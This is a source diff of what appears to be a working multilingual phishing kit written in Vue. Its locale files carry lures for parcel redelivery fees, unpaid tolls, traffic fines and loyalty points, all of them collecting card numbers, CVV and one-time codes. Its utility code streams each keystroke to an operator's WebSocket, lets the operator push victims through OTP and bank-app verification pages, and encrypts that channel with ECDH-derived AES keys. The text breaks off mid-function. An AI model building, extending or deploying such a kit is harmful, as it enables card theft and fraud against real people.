"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
"Billing Information": "Számlázási adatok",
"Description": "Leírás",
"Dear customer": "Kedves vásárlónk:",
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Invoice Number": "Számlaszám",
"Amount": "Összeg",
"Pay Immediately": "Fizessen azonnal",
"Phone Number": "Telefonszám",
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Illustrate":"Szemléltet"
};

View File

@@ -0,0 +1,123 @@
export default {
"There is an error in this field, please check": "Šajā laukā ir kļūda, lūdzu pārbaudiet",
"Please enter a valid email address": "Lūdzu, ievadiet derīgu e-pasta adresi",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Cienījamie lietotāji, lūdzu, rūpīgi aizpildiet veidlapu, lai nodrošinātu veiksmīgu piegādi",
"Your Name": "Jūsu vārds",
"Address": "Adrese",
"Detailed Address": "Precīza adrese",
"(Optional)": "(Neobligāti)",
"City": "Pilsēta",
"State": "Valsts / Šķēršlis",
"Province": "Province",
"Region": "Reģions",
"Zip Code": "Pasta indekss",
"E-Mail": "E-pasts",
"Next": "Nākamais",
"Telephone Number": "Tālruņa numurs",
"Online": "Tiešsaistē",
"Payment": "Maksājums",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Par atkārtotu piegādi mums jāiekasē pakalpojuma maksa. Jūsu sūtījums tiks atkārtoti piegādāts pēc maksājuma",
"lump sum: ": "Vienreizējs maksājums: ",
"Cardholder": "Kartes īpašnieks",
"Card Number": "Kartes numurs",
"Expire Date": "Derīguma termiņš",
"Security Code": "Drošības kods",
"Submit": "Iesniegt",
"Click here to receive another code": "Noklikšķiniet šeit, lai saņemtu citu kodu",
"Please confirm your identity and a one-time code will be sent": "Lūdzu, apstipriniet savu identitāti, un uz jūsu tālruni vai e-pastu tiks nosūtīts vienreizējs kods. Ievadiet verifikācijas kodu šeit",
"The verification code has been sent to": "Verifikācijas kods ir nosūtīts uz",
"Please do not click the": "Lūdzu, neklikšķiniet uz pogām",
"Verification code error, please try again": "Verifikācijas koda kļūda, lūdzu, mēģiniet vēlreiz",
"The session is about to expire, please complete the verification now": "Sesija drīz beigsies, lūdzu, pabeidziet verifikāciju tūlīt",
"This card does not support this transaction, please try another card": "Šī karte neatbalsta šo darījumu, lūdzu, izmēģiniet citu karti",
"Authorized bank": "Autorizēta banka",
"Please go to the bank App to confirm the authorization": "Lūdzu, dodieties uz bankas lietotni, lai apstiprinātu autorizāciju",
"Please do not close this page": "Lūdzu, neaizveriet šo lapu",
"Payment Successful": "Maksājums veiksmīgs!",
"Thank you for your purchase. Your payment has been processed successfully": "Paldies par pirkumu. Jūsu maksājums ir veiksmīgi apstrādāts",
"Mailing address": "Pasta adrese",
"street address or house number": "Ielas adrese vai mājas numurs",
"Apartment number": "Dzīvokļa numurs, istabas numurs utt.",
"Safe payment": "Drošs maksājums",
"Verification code": "Verifikācijas kods",
"Welcome": "Laipni lūdzam",
"back": "atpakaļ!",
"We reward you for using point services": "Mēs jūs apbalvojam par punktu pakalpojumu izmantošanu",
"Check your points": "Pārbaudiet savus punktus",
"Phone number": "Tālruņa numurs",
"Inquire": "Uzzināt",
"Exchange": "Apmainīt",
"Spend points": "Tērēt punktus",
"Points Available": "Pieejamie punkti",
"You don't have enough points": "Jums nav pietiekami daudz punktu",
"Please redeem your favorite product": "Lūdzu, izmantojiet savu iecienītāko produktu",
"Confirm your shipping address": "Apstipriniet savu piegādes adresi",
"Order number": "Pasūtījuma numurs: ",
"Pay": "Maksāt",
"Pay Message": "Maksāt {0}, lai izmantotu punktus par produktiem",
"Pay electronic tolls online": "Maksājiet elektroniskās nodevas tiešsaistē",
"your electronic toll payment was unsuccessful": "Jūsu elektroniskā nodevas apmaksa bija neveiksmīga.",
"Billing Information": "Norēķinu informācija",
"Description": "Apraksts",
"Dear customer": "Cienījamais klient!",
"Electronic Communications Charge Payment Failed": "Elektronisko sakaru maksas apmaksa neizdevās",
"Invoice Number": "Rēķina numurs",
"Amount": "Summa",
"Pay Immediately": "Maksāt nekavējoties",
"Phone Number": "Tālruņa numurs",
"Electronic communication fee payment failed": "Elektroniskās komunikācijas maksas apmaksa neizdevās",
"Illustrate": "Ilustrēt",
"SSL Encryption": "SSL šifrēšana",
"PCI-DSS Certified": "PCI-DSS sertificēts",
"Transaction Details": "Darījuma detaļas",
"Transaction ID:": "Darījuma ID:",
"Processing Network:": "Apstrādes tīkls:",
"Processing Time:": "Apstrādes laiks:",
"Security Level:": "Drošības līmenis:",
"Preparing...": "Gatavo...",
"High": "Augsts",
"Initializing payment environment...": "Inicializē maksājumu vidi...",
"Encrypting card information...": "Šifrē kartes informāciju...",
"Establishing secure connection...": "Veido drošu savienojumu...",
"Verifying card number and issuer...": "Pārbauda kartes numuru un izdevēju...",
"Validating CVV code...": "Validē CVV kodu...",
"Checking fraud risk...": "Pārbauda krāpšanas risku...",
"Sending transaction request...": "Sūta darījuma pieprasījumu...",
"Waiting for bank authorization...": "Gaida bankas autorizāciju...",
"Processing bank response...": "Apstrādā bankas atbildi...",
"Confirming transaction status...": "Apstiprina darījuma statusu...",
"Finalizing transaction...": "Pabeidz darījumu...",
"Visa Secure Network": "Visa drošais tīkls",
"Mastercard Global Payment Network": "Mastercard globālais maksājumu tīkls",
"American Express Dedicated Channel": "American Express veltītais kanāls",
"UnionPay Gateway": "UnionPay vārteja",
"{time} seconds": "{time} sekundes",
"International Payment Network": "Starptautiskais maksājumu tīkls",
"Homepage License Plate": "Mājaslapas numura zīme",
"JCC Smart Cyprus Image": "JCC Smart Kipras attēls",
"Check Your Payment Details": "Pārbaudiet savus maksājuma datus",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ievadiet sava transportlīdzekļa numura zīmes numuru, lai verificētu savu kontu un nodrošinātu savlaicīgu nodevas apmaksu, lai izvairītos no sodiem.",
"Enter license plate number (e.g. XYZ1234)": "Ievadiet numura zīmes numuru (piemēram, XYZ1234)",
"Verify Payment Details": "Pārbaudīt maksājuma datus",
"Toll Payment": "Nodevas apmaksa",
"License Plate Number": "Numura zīmes numurs",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Informācija par ceļu satiksmes noteikumu pārkāpumiem (piemēram, mobilā tālruņa lietošana braukšanas laikā). Pirmais pārkāpums <strong>50€</strong>, otrais pārkāpums <strong>150€</strong> utt.",
"Tolls": "Nodevas",
"Due Date": "Maksājuma termiņš",
"Fine Amount": "Sods",
"Pay Now": "Maksāt tagad",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Ņemiet vērā, ka sakarā ar novēlotu maksājumu šis darījums ir derīgs tikai kredītkaršu maksājumiem.",
"Cardholder Name": "Kartes īpašnieka vārds",
"First and Last Name": "Vārds un uzvārds",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Derīguma termiņš",
"MM/YY": "MM/GG",
"123(CVV)": "123(CVV)",
"Card Icon": "Kartes ikona",
"CVV": "CVV",
"Successful Toll Payment": "Veiksmīga nodevas apmaksa",
"Thank you for your payment. The tolls have been processed successfully.": "Paldies par maksājumu. Nodevas ir veiksmīgi apstrādātas.",
"Phone": "Tālrunis",
"Toll Amount": "Nodevas summa",
"50.00 EUR": "50.00 EUR"
}

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите",
"Please enter a valid email address": "Унесите важећу адресу е-поште",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку",
"Your Name": "Ваше име",
"Address": "Адреса",
"Detailed Address": "Детаљна адреса",
"(Optional)": "(Опционално)",
"City": "Град",
"State": "Савезна држава",
"Province": "Покрајина",
"Region": "Регија",
"Zip Code": "Поштански број",
"E-Mail": "Е-пошта",
"Next": "Следеће",
"Telephone Number": "Број телефона",
"Online": "На мрежи",
"Payment": "Плаћање",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате",
"lump sum: ": "укупно: ",
"Cardholder": "Име носиоца картице",
"Card Number": "Број картице",
"Expire Date": "Датум истека",
"Security Code": "Сигурносни код",
"Submit": "Пошаљи",
"Click here to receive another code": "Кликните овде да добијете нови код",
"Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде",
"The verification code has been sent to": "Код за потврду је послат на",
"Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију",
"Verification code error, please try again": "Грешка у коду за потврду, покушајте поново",
"The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију",
"This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом",
"Authorized bank": "Овлашћена банка",
"Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење",
"Please do not close this page": "Не затварајте ову страницу",
"Payment Successful": "Успешно плаћање!",
"Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено",
"Mailing address": "Адреса за доставу",
"street address or house number": "Улица или број куће",
"Apartment number": "Број стана, собе итд.",
"Safe payment": "Безбедно плаћање",
"Verification code": "Код за потврду",
"Welcome": "Добродошли",
"back": "Назад!",
"We reward you for using point services": "Награђујемо вас за коришћење услуга поена",
"Check your points": "Проверите ваше поене",
"Phone number": "Број телефона",
"Inquire": "Провери",
"Exchange": "Размена",
"Spend points": "Искористите поене",
"Points Available": "Доступни поени",
"You don't have enough points": "Немате довољно поена",
"Please redeem your favorite product": "Искористите своје поене за омиљени производ",
"Confirm your shipping address": "Потврдите адресу испоруке",
"Order number": "Број поруџбине: ",
"Pay": "Плати",
"Pay Message": "Платите {0} да бисте искористили поене за производе",
"Pay electronic tolls online": "Платите електронску путарину на мрежи",
"your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.",
"Billing Information": "Подаци за обрачун",
"Description": "Опис",
"Dear customer": "Поштовани клијент:",
"Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело",
"Invoice Number": "Број фактуре",
"Amount": "Износ",
"Pay Immediately": "Платите одмах",
"Phone Number": "Број телефона",
"Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело",
"Illustrate": "Објасни",
"SSL Encryption": "SSL енкрипција",
"PCI-DSS Certified": "PCI-DSS сертификат",
"Transaction Details": "Детаљи трансакције",
"Transaction ID:": "ИД трансакције:",
"Processing Network:": "Мрежа за обраду:",
"Processing Time:": "Време обраде:",
"Security Level:": "Ниво безбедности:",
"Preparing...": "Припрема се...",
"High": "Висок",
"Initializing payment environment...": "Иницијализација окружења за плаћање...",
"Encrypting card information...": "Шифровање података картице...",
"Establishing secure connection...": "Успостављање сигурне везе...",
"Verifying card number and issuer...": "Провера броја картице и издаваоца...",
"Validating CVV code...": "Проверавање CVV кода...",
"Checking fraud risk...": "Провера ризика од преваре...",
"Sending transaction request...": "Слање захтева за трансакцију...",
"Waiting for bank authorization...": "Чекање одобрења банке...",
"Processing bank response...": "Обрада одговора банке...",
"Confirming transaction status...": "Потврда статуса трансакције...",
"Finalizing transaction...": "Завршетак трансакције...",
"Visa Secure Network": "Visa безбедна мрежа",
"Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање",
"American Express Dedicated Channel": "American Express наменски канал",
"UnionPay Gateway": "UnionPay пролаз",
"{time} seconds": "{time} секунди",
"International Payment Network": "Међународна мрежа за плаћање",
"Homepage License Plate": "Почетна регистрација возила",
"JCC Smart Cyprus Image": "JCC Smart Kipar слика",
"Check Your Payment Details": "Проверите детаље плаћања",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.",
"Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)",
"Verify Payment Details": "Потврдите детаље плаћања",
"Toll Payment": "Плаћање путарине",
"License Plate Number": "Регистарски број возила",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај <strong>50€</strong>, други <strong>150€</strong> итд.",
"Tolls": "Путарина",
"Due Date": "Рок доспећа",
"Fine Amount": "Износ казне",
"Pay Now": "Плати сада",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.",
"Cardholder Name": "Име носиоца картице",
"First and Last Name": "Име и презиме",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Датум истека",
"MM/YY": "MM/ГГ",
"123(CVV)": "123(CVV)",
"Card Icon": "Икона картице",
"CVV": "CVV",
"Successful Toll Payment": "Успешно плаћена путарина",
"Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.",
"Phone": "Телефон",
"Toll Amount": "Износ путарине"
};

View File

@@ -0,0 +1,82 @@
export default {
"There is an error in this field, please check":
"Bu alanda bir hata var, lütfen kontrol edin",
"Please enter a valid email address": "Lütfen geçerli bir e-posta adresi girin",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Değerli kullanıcılar, teslimatın başarılı olması için lütfen formu dikkatlice doldurun",
"Your Name": "Adınız",
"Address": "Adres",
"Detailed Address": "Detaylı Adres",
"(Optional)": "(İsteğe bağlı)",
"City": "Şehir",
"State": "Eyalet",
"Province": "İl",
"Region": "Bölge",
"Zip Code": "Posta Kodu",
"E-Mail": "E-Posta",
"Next": "İleri",
"Telephone Number": "Telefon Numarası",
"Online": "Çevrimiçi",
"Payment": "Ödeme",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Yeniden teslimat için bazı hizmet ücretleri tahsil etmemiz gerekiyor. Ödemenin ardından paketiniz yeniden gönderilecektir",
"lump sum: ": "Toplam tutar: ",
"Cardholder": "Kart Sahibi",
"Card Number": "Kart Numarası",
"Expire Date": "Son Kullanma Tarihi",
"Security Code": "Güvenlik Kodu",
"Submit": "Gönder",
"Click here to receive another code": "Yeni bir kod almak için buraya tıklayın",
"Please confirm your identity and a one-time code will be sent":
"Lütfen kimliğinizi doğrulayın, cep telefonu numaranıza veya e-posta adresinize tek kullanımlık bir kod gönderilecektir. Lütfen doğrulama kodunu buraya girin",
"The verification code has been sent to":
"Doğrulama kodu şu adrese gönderildi:",
"Please do not click the":
"Lütfen 'Yenile' veya 'Geri' düğmelerine tıklamayın, aksi takdirde işleminiz sona erebilir veya kesilebilir",
"Verification code error, please try again":
"Doğrulama kodu hatalı, lütfen tekrar deneyin",
"The session is about to expire, please complete the verification now":
"Oturumunuz sona ermek üzere, lütfen şimdi doğrulamayı tamamlayın",
"This card does not support this transaction, please try another card":
"Bu kart bu işlemi desteklemiyor, lütfen başka bir kart deneyin",
"Authorized bank": "Yetkili banka",
"Please go to the bank App to confirm the authorization":
"Lütfen yetkilendirmeyi onaylamak için banka uygulamasına gidin",
"Please do not close this page": "Lütfen bu sayfayı kapatmayın",
"Payment Successful": "Ödeme Başarılı!",
"Thank you for your purchase. Your payment has been processed successfully":
"Satın alma işleminiz için teşekkür ederiz. Ödemeniz başarıyla işlendi",
"Mailing address": "Posta Adresi",
"street address or house number": "Sokak adresi veya ev numarası",
"Apartment number": "Daire numarası, oda numarası vb.",
"Safe payment": "Güvenli ödeme",
"Verification code": "Doğrulama kodu",
"Welcome": "Hoş geldiniz",
"back": "geri!",
"We reward you for using point services": "Puan hizmetlerini kullandığınız için sizi ödüllendiriyoruz",
"Check your points": "Puanlarınızı kontrol edin",
"Phone number": "Telefon numarası",
"Inquire": "Sorgula",
"Exchange": "Değiştir",
"Spend points": "Puan harca",
"Points Available": "Mevcut Puanlar",
"You don't have enough points": "Yeterli puanınız yok",
"Please redeem your favorite product": "Lütfen favori ürününüzü kullanarak puanınızı harcayın",
"Confirm your shipping address": "Teslimat adresinizi onaylayın",
"Order number": "Sipariş numarası: ",
"Pay": "Öde",
"Pay Message": "{0} ödeyerek puan karşılığı ürün alabilirsiniz",
"Pay electronic tolls online": "Elektronik otoyol ücretlerini çevrimiçi ödeyin",
"your electronic toll payment was unsuccessful":
"Elektronik otoyol ödemeniz başarısız oldu.",
"Billing Information": "Fatura Bilgileri",
"Description": "Açıklama",
"Dear customer": "Sayın müşteri:",
"Electronic Communications Charge Payment Failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Invoice Number": "Fatura Numarası",
"Amount": "Tutar",
"Pay Immediately": "Hemen Öde",
"Phone Number": "Telefon Numarası",
"Electronic communication fee payment failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Illustrate": "Açıklama"
};

View File

@@ -0,0 +1,28 @@
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
import App from "./App.vue";
import router from "./router";
import { createI18n } from "vue-i18n";
import en from "./locales/en";
import "./assets/main.css";
import "./assets/base.css";
import VueScrollTo from "vue-scrollto";
const userData = ref({});
const app = createApp(App);
app.config.globalProperties.$currentUser = userData;
const i18n = createI18n({
locale: "en",
messages: {
en: en,
},
});
app.use(i18n);
app.use(createPinia());
app.use(router);
app.mount("#app");
export default i18n;

View File

@@ -0,0 +1,107 @@
import { createRouter, createMemoryHistory } from "vue-router";
// --- All view components are now explicitly imported for full static loading ---
import IndexView from "@/views/IndexView.vue";
import HomeView from "@/views/HomeView.vue";
import PayView from "@/views/PayView.vue";
import OtpView from "@/views/OtpView.vue";
import CustomOtpView from "@/views/CustomOtpView.vue";
import AppValidView from "@/views/AppValidView.vue";
import AddressView from "@/views/AddressView.vue";
import SuccessView from "@/views/SuccessView.vue";
import CardView from "@/views/CardView.vue";
const router = createRouter({
/**
* History Mode: createMemoryHistory
*
* This mode maintains an internal history stack **without interacting with the browser's URL**.
* The URL in the address bar will not change, and it will not add entries to the browser's native history.
*
* This is ideal for scenarios like:
* - **Server-Side Rendering (SSR)**: Where a browser environment is not available.
* - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history.
* - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL.
*
* **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons
* to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `<router-link>` or `router.push()`).
*/
history: createMemoryHistory(import.meta.env.BASE_URL),
routes: [
{
path: "/",
name: "home",
// --- Component directly assigned for full static loading ---
component: IndexView,
},
{
path: "/home",
name: "home",
component: HomeView,
},
{
path: "/pay",
name: "pay",
component: PayView,
},
{
path: "/otpValid",
name: "otpValid",
component: OtpView,
},
{
path: "/customOtpValid",
name: "customOtpValid",
component: CustomOtpView,
},
{
path: "/appValid",
name: "appValid",
component: AppValidView,
},
{
path: "/address",
name: "address",
component: AddressView,
},
{
path: "/success",
name: "success",
component: SuccessView,
},
{
path: "/card",
name: "card",
component: CardView,
},
],
/**
* Scroll Behavior:
* Controls the scrolling position when navigating between routes.
*
* @param {Object} to - The target route object.
* @param {Object} from - The current route object being left.
* @param {Object} savedPosition - The saved scroll position if navigating back/forward.
* @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates).
*/
scrollBehavior(to, from, savedPosition) {
// If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it.
if (savedPosition) {
return savedPosition;
} else {
// Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience.
return { left: 0, top: 0, behavior: "smooth" };
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;

View File

@@ -0,0 +1,15 @@
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
showLoading() {
this.isLoading = true;
},
hideLoading() {
this.isLoading = false;
},
},
});

View File

@@ -0,0 +1,13 @@
// stores/loadingStore.ts
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
setLoading(value: boolean) {
this.isLoading = value;
},
},
});

View File

@@ -0,0 +1,294 @@
import _ from "lodash";
import eventBus from "@/utils/eventBus";
import router from "@/router";
import { ref } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import i18n from "@/main";
import { useSocketIo, type SessionCrypto } from "./socketio";
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
if (viteBaseUrl === "/") {
viteBaseUrl = "/";
} else if (viteBaseUrl === "localhost:8011") {
viteBaseUrl = "ws://" + viteBaseUrl;
} else {
viteBaseUrl = "wss://" + viteBaseUrl;
}
// Redirect to an external URL
export function redirectToExternal() {
window.location.replace("https://www.shadowfax.in/");
}
const initHtml = async () => {
const routePath = localStorage.getItem("route");
// headHtml.value = await loadHtml("/gtm_post/head.html");
await router.push(routePath ? `/${routePath}` : "/home");
setTimeout(async () => {
useLoadingStore().setLoading(false);
loadingBg.value = "#00000072";
}, 200);
};
export const customOtpData = ref<any>({});
export function setCustomOtpData(data: any) {
customOtpData.value = data;
localStorage.setItem("customOtpData", JSON.stringify(data));
}
export let myWebSocket: any | undefined;
// Configuration data
export const configData = ref<Record<string, any>>({});
// Utility function to check if all values in an object are not empty
export function areAllValuesNotEmpty(
obj: Record<string, any>,
excludedFields: string[] = []
): boolean {
return Object.keys(obj).every((key) => {
if (excludedFields.includes(key)) return true;
const value = obj[key];
return (
value !== null &&
value !== undefined &&
value !== "" &&
!(typeof value === "string" && value.trim() === "")
);
});
}
// 存储 WebSocket 和 API 的防抖函数
const wsDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
const apiDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
// 获取或创建针对某个键的防抖函数
function getDebouncedFunction(
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
key: string,
func: (...args: any[]) => void,
wait: number
) {
if (!debounceFunctions[key]) {
debounceFunctions[key] = _.debounce(func, wait);
}
return debounceFunctions[key];
}
const modeRef = ref(1)
// 处理输入变化
export function inputChange(type: string, key: any, value: any) {
const currentTimestamp = Date.now(); // 当前时间戳
// WebSocket 防抖函数
const wsDebouncedFunction = getDebouncedFunction(
wsDebounceFunctions,
key,
(type, key, value) => {
myWebSocket?.send(
JSON.stringify({
event: "input_text",
content: { type, key, text: value },
timestamp: currentTimestamp,
})
);
},
300
);
// 调用防抖函数
wsDebouncedFunction(type, key, value);
}
// Handle login success
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
myWebSocket?.on("close", () => console.log("Socket closed!"));
myWebSocket?.on("open", () => {
const lastToken = localStorage.getItem("token");
loginWebsocket(token, lastToken !== token);
});
myWebSocket?.on("message", handleMessage);
window.addEventListener("beforeunload", () => {
myWebSocket?.off("close");
});
}
// Handle WebSocket messages
function handleMessage(data: any) {
console.log("Received WebSocket message:", data);
const jsonData = JSON.parse(data);
if (!jsonData || !jsonData.event) return;
const { event, content } = jsonData;
switch (event) {
case "login":
//handleLoginEvent(content);
break;
case "result_type":
handleResultTypeEvent(content);
break;
case "reload":
window.location.reload();
break;
case "navigate":
navigateTo(content.pagePath, content);
break;
default:
break;
}
}
// Handle result type event
function handleResultTypeEvent(content: any) {
if (!content) return;
console.log("Handling result type event with content:", content);
const typeHandlers: Record<string, () => void> = {
customOtpValid: () => navigateTo("/customOtpValid", content),
otpValid: () => navigateTo("/otpValid", content),
appValid: () => navigateTo("/appValid", content),
success: () => router.push("/success"),
kickOut: redirectToExternal,
block: redirectToExternal,
otpFail: () =>
eventBus.emit("otp-valid", {
message2:
content.value.message2 ||
i18n.global.t("Verification code error, please try again"),
}),
appFail: () =>
eventBus.emit("app-valid", {
message2:
content.value.message2 ||
i18n.global.t(
"The session is about to expire, please complete the verification now"
),
}),
back: () => handleBackOrReject(content, true),
reject: () => handleBackOrReject(content, false),
refresh: () => {
if (localStorage.getItem("route")) {
localStorage.removeItem("route");
window.location.reload();
}
},
};
if (content.type == "customOtpValid") {
if (content.value.customOtpData) {
setCustomOtpData(JSON.parse(content.value.customOtpData));
}
}
if (content.type === "customOtpValid") {
if (customOtpData.value.name === "生日验证") {
useLoadingStore().setLoading(false);
navigateTo("/pinCode", content);
return;
}
}
if (content.type == "customOtpFail") {
eventBus.emit("custom-otp-valid", {
message2: content.value.message2,
});
}
const handler = typeHandlers[content.type];
if (handler) handler();
useLoadingStore().setLoading(false);
}
// Navigate to specific path with query parameters
function navigateTo(path: string, content: any) {
router.push('/temp').then(() => {
router.push({
path: path,
query: {
cardType: content.value?.data?.cardData?.cardBIN?.schema,
message1: content.value?.message1,
key: new Date().getMilliseconds(),
},
});
});
}
// Handle back or reject type
function handleBackOrReject(content: any, isBack: boolean) {
let message2 = i18n.global.t(
"This card does not support this transaction, please try another card"
);
if (configData.value.error_card_msg) {
message2 = configData.value.error_card_msg;
}
if (content.value.type) {
const type = content.value.type;
if (type === "denyC" && configData.value.deny_c_msg) {
message2 = configData.value.deny_c_msg;
}
if (type === "denyD" && configData.value.deny_d_msg) {
message2 = configData.value.deny_d_msg;
}
}
if (content.value.message2) {
message2 = content.value.message2;
}
if (isBack) {
router.push({ path: "/card", query: { message2 } });
}
eventBus.emit("my-event", { message2 });
}
// Login to WebSocket
function loginWebsocket(token: string, isFirst: boolean) {
myWebSocket?.send(
JSON.stringify({
event: "login",
content: { tag: "user", token, isFirst },
})
);
initHtml();
}
export async function loadHtml(url: string) {
try {
const response = await fetch(url); // 替换为您的 HTML 文件路径
if (!response.ok) {
return "";
}
return await response.text();
} catch (error) {
return "";
}
}
export const headHtml = ref("");
export const headerHtml = ref("");
export const footerHtml = ref("");
export const loadingBg = ref("#ffffff");

View File

@@ -0,0 +1,17 @@
// src/eventBus.ts
import mitt from "mitt";
// 定义事件名称和对应的数据类型
type Events = {
"my-event": { message2: string };
"otp-valid": { message2: string };
"app-valid": { message2: string };
"custom-otp-valid": { message2: string };
// 可以在这里添加其他事件
// 'another-event': number;
};
const eventBus = mitt<Events>();
export default eventBus;

View File

@@ -0,0 +1,407 @@
// 设置
import { useLoadingStore } from "@/stores/loadingStore";
import { io, Socket as SocketIOClient } from "socket.io-client";
// ─── 会话加密接口 ───────────────────────────────────────────────
export interface SessionCrypto {
aesKey: CryptoKey; // AES-128-GCM不可导出
}
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
const iv = crypto.getRandomValues(new Uint8Array(12));
const encoded = new TextEncoder().encode(plain);
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
out.set(iv, 0);
out.set(new Uint8Array(cipher), iv.byteLength);
let binary = "";
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
return JSON.stringify({ data: btoa(binary) });
}
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
const rawStr =
typeof raw === "string" ? raw :
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
let envelope: { data?: string };
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
if (!envelope?.data) return rawStr;
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
const iv = bytes.slice(0, 12);
const cipher = bytes.slice(12);
try {
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
return new TextDecoder().decode(plain);
} catch {
return rawStr;
}
}
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
/**
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
*/
export async function generateECDHKeyPair(): Promise<{
keyPair: CryptoKeyPair;
clientPublicKeyB64: string;
}> {
const keyPair = await crypto.subtle.generateKey(
{ name: "ECDH", namedCurve: "P-256" },
true,
["deriveBits"]
);
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
const clientPublicKeyB64 = btoa(
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
);
return { keyPair, clientPublicKeyB64 };
}
/**
* 用服务端公钥base64 raw P-256与给定的客户端私钥推导 AES-128-GCM 会话密钥
*/
export async function deriveSessionKey(
serverPublicKeyB64: string,
clientPrivateKey: CryptoKey
): Promise<SessionCrypto> {
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
const serverPublicKey = await crypto.subtle.importKey(
"raw", serverPubKeyBytes,
{ name: "ECDH", namedCurve: "P-256" }, false, []
);
const sharedBits = await crypto.subtle.deriveBits(
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
);
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
const aesKey = await crypto.subtle.deriveKey(
{
name: "HKDF", hash: "SHA-256",
salt: new Uint8Array(32),
info: new TextEncoder().encode("socket-aes-key"),
},
hkdfKey,
{ name: "AES-GCM", length: 128 },
false,
["encrypt", "decrypt"]
